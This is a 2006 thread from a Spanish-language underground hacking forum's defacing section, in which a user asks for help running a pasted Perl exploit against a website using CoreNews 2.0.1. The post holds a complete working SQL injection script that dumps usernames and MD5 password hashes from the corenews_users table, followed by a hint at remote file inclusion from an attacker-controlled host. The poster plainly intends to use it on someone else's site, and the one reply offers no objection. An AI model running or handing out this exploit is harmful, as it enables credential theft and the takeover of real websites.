Normas del foro

Curso Hacker
Bienvenido(a), Visitante. Favor de ingresar o registrarse.
¿Perdiste tu email de activación? - Noviembre 18, 2008, 02:18:07
Inicio Ayuda Ingresar Registrarse
Visita: Articulos - Juegos Gratis - Da Foros

Comunidad Underground Hispana  |  Phreaking, Hacking y Seguridad  |  HacK GeneraL  |  Defacing  |  Tema: Ayuda con un exploit!!! 0 Usuarios y 1 Visitante están viendo este tema. « anterior próximo »
Páginas: [1] Ir Abajo Imprimir
Autor Tema: Ayuda con un exploit!!!  (Leído 173 veces)
Damage
Quisiera ser Hack!!!
Miembro
*****
Desconectado Desconectado

Mensajes: 42


By GeRaNgEl_88


Ver Perfil
« en: Noviembre 06, 2006, 09:11:57 »

Quiero sacar el hash de una pagina Corenews 2.0.1, y tengo un problema!!!
cuando lo mando al exploit me sale lo siguiente: 




La URL del exploit es:
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.nukedx.com/?getxpl=24


Y este es el exploit: (LO COPIO TAL CUAL AL EXPLOIT???)


#!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx @nukedx.com web:
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.nukedx.com

#Original advisory:
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
#Usage: corenews.pl <host> <path>
use IO::Socket;
if( @ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-24\r\n";
  print "- CoreNews <= 2.0.1 Remote SQL Injection Exploit\r\n";
}
sub usage()
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex:
Necesitas ser usuario para ver los enlaces Crear Usuario  Hacer Sesion
www.victim.com\
r\n";
  print "- <path> -> Path to CoreNews ex: /corenews/\r\n";
  exit();
}
sub exploit ()
{
  #Our variables...
  $cnserver = $ARGV[0];
  $cnserver =~ s/(http:\/\/)//eg;
  $cnhost   = "http://".$cnserver;
  $cndir    = $ARGV[1];
  $cnport   = "80";
  $cntar    = "preview.php?userid=";
  $cnxp     = "-1/**/UNION/**/SELECT/**/null,concat(2022,login,20223,password,2203),null,null,null,null/**/FROM/**/corenews_users/*";
  $cnreq    = $cnhost.$cndir.$cntar.$cnxp;
  #Sending data...
  header();
  print "- Trying to connect: $cnserver\r\n";
  $cn = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$cnserver", PeerPort => "$cnport") || die "- Connection failed...\n";
  print $cn "GET $cnreq HTTP/1.1\n";
  print $cn "Accept: */*\n";
  print $cn "Referer: $cnhost\n";
  print $cn "Accept-Language: tr\n";
  print $cn "User-Agent: NukeZilla\n";
  print $cn "Cache-Control: no-cache\n";
  print $cn "Host: $cnserver\n";
  print $cn "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$cn>) {
    if ($answer =~ /2022(.*?)20223([\d,a-f]{32})2203/) {
      print "- Exploit succeed!\r\n";
      print "- Username: $1\r\n";
      print "- MD5 HASH of PASSWORD: $2\r\n";
      print "- If you crack hash you can use RFI with example ->\r\n";
      print "- Example: $cnhost$cndir?show=http://yourhost.com/file.txt\r\n";
      exit();
    }
  }
  #Exploit failed...
  print "- Exploit failed\n"
}

# nukedx.com [2006-04-21]

En donde esta el error???

« Última modificación: Noviembre 08, 2006, 05:43:40 por 4n63L 05cUr0 » En línea


o`~*'o^v-o-()->o[: Tu Agredecimiento Ayuda!!! :]o<-()-o-v^o'*~oo
darthblacky
Visitante
« Respuesta #1 en: Noviembre 07, 2006, 06:29:58 »

Cual es el problema exactamente? Si el exploit mismo te dice en ese ss lo que tienes que poner :S
En línea
Páginas: [1] Ir Arriba Imprimir 
Comunidad Underground Hispana  |  Phreaking, Hacking y Seguridad  |  HacK GeneraL  |  Defacing  |  Tema: Ayuda con un exploit!!! « anterior próximo »
Ir a:  


Ranking-Hits
Powered by SMF 1.1.7 | SMF © 2006-2007, Simple Machines LLC